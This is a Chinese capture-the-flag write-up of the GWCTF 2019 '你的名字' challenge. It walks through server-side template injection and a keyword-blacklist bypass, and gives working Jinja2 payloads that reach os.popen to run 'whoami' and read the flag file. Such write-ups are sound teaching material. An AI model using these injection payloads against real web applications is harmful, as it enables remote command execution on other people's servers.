[GWCTF 2019]你的名字

8 篇文章 0 订阅
3 篇文章 0 订阅

[GWCTF 2019]你的名字

在这里插入图片描述
打开题目后界面如上所示,你输入什么名字后就会显示出来
在这里插入图片描述
说实话,这种题不出意外应该就是模板注入没跑了

试了下{{2+2}}直接报错,还是报的php的错,但是{2+2}就可以正常显示出来,这就说明{{可能被过滤了,而{可能没被过滤,所以我们再试一些只要{}就能用的句子试试,如{% set a=“test” %}
在这里插入图片描述
执行完了以后虽然没有回显但也没有报错,说明正常执行了这句话,确定了考点是模板注入后就得想想怎么绕过了

上网找了一篇模板注入绕过相关文章

在这里插入图片描述
这里用了if语句执行命令,但是这有一个疑问,我怎么知道各个模块在环境中的具体位置啊,如他这里的’’.class.mro[2].subclasses()[59]在我们题目环境中执行了这个语句得到的可能和他写这个payload时用的不是同一个子类啊。这里实在想不通了,找了WP来看,结果大多数都是直接用别人的payload,都没有说是怎么构造出来的。找了好久终于找到一篇WP讲解了payload的构造过程

它用了{%print %}这种形式,这样就能打印出执行信息了

试了下{%print lipsum %},终于有回显了,有回显了就好开始下面的构造了,至于一步步构造payload的过程有疑惑的,可以看一看我之前写的ssti相关文章
在这里插入图片描述
这里还得补充一点,{%print %}形式下,若果你构造的payload是正常的ssti用到的语句却没有回显,就说明你的语句中可能有关键字被过滤了,如{%print ‘’.class %}执行之后没有任何的回显,但{%print ‘’.clconfigass %}成功执行有回显,这说明class被过滤了
在这里插入图片描述
这里直接给出本体的黑名单源代码
在这里插入图片描述
这过滤代码挺傻的,是先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过

所以最终的payload可以写成如下形式

{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}

在这里插入图片描述
也可以拼接绕过

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}

在这里插入图片描述
**或者设置变量的方法
**

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}

在这里插入图片描述
当然,绕过方法还有很多,我的ssti文章中也详细讲了许多原理,有兴趣的可以看看.这道题最大的收获我觉得还是我看的这个大佬成功利用{%print %}解决了回显问题,而网上的其他大多数文章为了解决无法回显的问题大多是选择外带的形式,这就有一点麻烦了
在这里插入图片描述
参考文章:
https://johnfrod.top/uncategorized/gwctf-2019%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97/
https://blog.z3ratu1.cn/%5BGWCTF%202019%5D%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97.html
https://blog.csdn.net/cjdgg/article/details/115770395?spm=1001.2014.3001.5501
https://xz.aliyun.com/t/6885#toc-4

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值